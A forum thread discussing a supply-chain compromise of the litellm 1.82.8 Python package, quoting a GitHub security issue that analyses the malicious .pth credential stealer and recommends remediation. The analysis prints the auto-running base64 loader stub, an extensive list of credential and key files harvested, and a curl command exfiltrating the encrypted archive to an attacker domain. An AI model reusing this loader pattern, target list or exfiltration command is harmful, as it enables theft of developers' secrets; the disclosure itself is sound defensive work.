LiteLLM query hacked

Joost · March 25, 2026, 3:07pm

A critical and malicious hack was found in LLM query. LiteLLM is used be a variety of tools that interact with chatgpt, claude etc.

The hack harvests env vars, SSH keys, cloud credentials, Kubernetes secrets, Docker configs, shell history, DB credentials, wallet files, and CI/CD secrets → encrypts with AES-256 + RSA-4096 → exfiltrates to models.litellm[.]cloud → installs a persistent sysmon.service systemd backdoor that polls checkmarx[.]zone for follow-on payloads.

Tools affected: CrewAI, OpenHands, Browser-Use, Agno, Camel-AI, Nanobot, DSPy, MLflow, Mem0, Instructor, Guardrails, Microsoft GraphRAG, Google ADK, Cursor IDE, Opik, Harbor. Possibly also openclaw.

Link to llm github:

github.com/BerriAI/litellm

[Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 — credential stealer

opened 11:48AM - 24 Mar 26 UTC

isfinne

llm translation potential-duplicate

[LITELLM TEAM] - For updates from the team, please see: https://github.com/Berri…AI/litellm/issues/24518 --- # [Security]: CRITICAL: Malicious `litellm_init.pth` in litellm 1.82.8 PyPI package — credential stealer ## Summary The `litellm==1.82.8` wheel package on PyPI contains a malicious `.pth` file (`litellm_init.pth`, 34,628 bytes) that **automatically executes a credential-stealing script every time the Python interpreter starts** — no `import litellm` required. This is a supply chain compromise. The malicious file is listed in the package's own `RECORD`: ``` litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628 ``` ## Reproduction ```bash pip download litellm==1.82.8 --no-deps -d /tmp/check python3 -c " import zipfile, os whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0] with zipfile.ZipFile(whl) as z: pth = [n for n in z.namelist() if n.endswith('.pth')] print('PTH files:', pth) for p in pth: print(z.read(p)[:300]) " ``` You will see `litellm_init.pth` containing: ```python import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"]) ``` ## Malicious Behavior (full analysis) The payload is **double base64-encoded**. When decoded, it performs the following: ### Stage 1: Information Collection The script collects sensitive data from the host system: - **System info**: `hostname`, `whoami`, `uname -a`, `ip addr`, `ip route` - **Environment variables**: `printenv` (captures all API keys, secrets, tokens) - **SSH keys**: `~/.ssh/id_rsa`, `~/.ssh/id_ed25519`, `~/.ssh/id_ecdsa`, `~/.ssh/id_dsa`, `~/.ssh/authorized_keys`, `~/.ssh/known_hosts`, `~/.ssh/config` - **Git credentials**: `~/.gitconfig`, `~/.git-credentials` - **AWS credentials**: `~/.aws/credentials`, `~/.aws/config`, IMDS token + security credentials - **Kubernetes secrets**: `~/.kube/config`, `/etc/kubernetes/admin.conf`, `/etc/kubernetes/kubelet.conf`, `/etc/kubernetes/controller-manager.conf`, `/etc/kubernetes/scheduler.conf`, service account tokens - **GCP credentials**: `~/.config/gcloud/application_default_credentials.json` - **Azure credentials**: `~/.azure/` - **Docker configs**: `~/.docker/config.json`, `/kaniko/.docker/config.json`, `/root/.docker/config.json` - **Package manager configs**: `~/.npmrc`, `~/.vault-token`, `~/.netrc`, `~/.lftprc`, `~/.msmtprc`, `~/.my.cnf`, `~/.pgpass`, `~/.mongorc.js` - **Shell history**: `~/.bash_history`, `~/.zsh_history`, `~/.sh_history`, `~/.mysql_history`, `~/.psql_history`, `~/.rediscli_history` - **Crypto wallets**: `~/.bitcoin/`, `~/.litecoin/`, `~/.dogecoin/`, `~/.zcash/`, `~/.dashcore/`, `~/.ripple/`, `~/.bitmonero/`, `~/.ethereum/keystore/`, `~/.cardano/`, `~/.config/solana/` - **SSL/TLS private keys**: `/etc/ssl/private/`, Let's Encrypt `.pem` and `.key` files - **CI/CD secrets**: `terraform.tfvars`, `.gitlab-ci.yml`, `.travis.yml`, `Jenkinsfile`, `.drone.yml`, `Anchor.toml`, `ansible.cfg` - **Database credentials**: PostgreSQL, MySQL, Redis, LDAP config files - **Webhook URLs**: grep for Slack/Discord webhook URLs in env and config files ### Stage 2: Encryption & Exfiltration 1. Collected data is written to a temporary file 2. A random 32-byte AES-256 session key is generated via `openssl rand` 3. The collected data is encrypted with `openssl enc -aes-256-cbc -pbkdf2` 4. The AES session key is encrypted with a **hardcoded 4096-bit RSA public key** via `openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep` 5. Both encrypted files are packed into `tpcp.tar.gz` 6. The archive is exfiltrated via: ```bash curl -s -o /dev/null -X POST \ "https://models.litellm.cloud/" \ -H "Content-Type: application/octet-stream" \ -H "X-Filename: tpcp.tar.gz" \ --data-binary @tpcp.tar.gz ``` ## Key Technical Details - **Trigger mechanism**: `.pth` files in `site-packages/` are executed automatically by the Python interpreter on startup (see [Python docs on .pth files](https://docs.python.org/3/library/site.html)). No `import` statement is needed. - **Stealth**: The payload is double base64-encoded, making it invisible to naive source code grep. - **Exfiltration target**: `https://models.litellm.cloud/` — note the domain `litellm.cloud` (NOT `litellm.ai`, the official domain). - **RSA public key** (first 64 chars): `MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...` ## Impact Anyone who installed `litellm==1.82.8` via pip has had **all environment variables, SSH keys, cloud credentials, and other secrets** collected and sent to an attacker-controlled server. This affects: - Local development machines - CI/CD pipelines - Docker containers - Production servers ## Affected Version - **Confirmed**: `litellm==1.82.8` (PyPI wheel `litellm-1.82.8-py3-none-any.whl`) - **Other versions**: Not yet checked — the attacker may have compromised multiple releases ## Recommended Actions 1. **PyPI**: Yank/remove litellm 1.82.8 immediately 2. **Users**: Check for `litellm_init.pth` in your `site-packages/` directory 3. **Users**: Rotate ALL credentials that were present as environment variables or in config files on any system where litellm 1.82.8 was installed 4. **BerriAI**: Audit PyPI publishing credentials and CI/CD pipeline for compromise ## Environment - OS: Ubuntu 24.04 (Docker container) - Python: 3.13 - pip installed from PyPI - Discovered: 2026-03-24

pantulis · March 25, 2026, 3:24pm

This is terrible, the sophistication and propagation of this attack is staggering. If I understood well the attack happens when the user installs a Python package, even before running it.

Which brings the question if macOS users would be more protected given the different levels of sandboxing we have… and while probably receiving a permissions notification during the installation of a Python package is suspicious enough to make a lot of users aware of something evil going on, a lot of other users would simply click and accept simply because they have “notification fatigue”.

Joost · March 25, 2026, 4:26pm

When you pip install a package, it writes into the Python site-packages directory — that’s a normal, unprivileged user-space operation requiring no elevated permissions whatsoever. Sandboxing protects against privilege escalation and cross-process boundary violations, but it has nothing to say about what happens within your own user space.

The malicious .pth file sits in site-packages and Python’s own startup machinery executes it automatically on every Python invocation — no import, no explicit call, nothing for a sandbox to intercept. It’s the Python runtime itself doing the execution, behaving entirely as designed.

So macOS is mostly affected as much as Linux and MS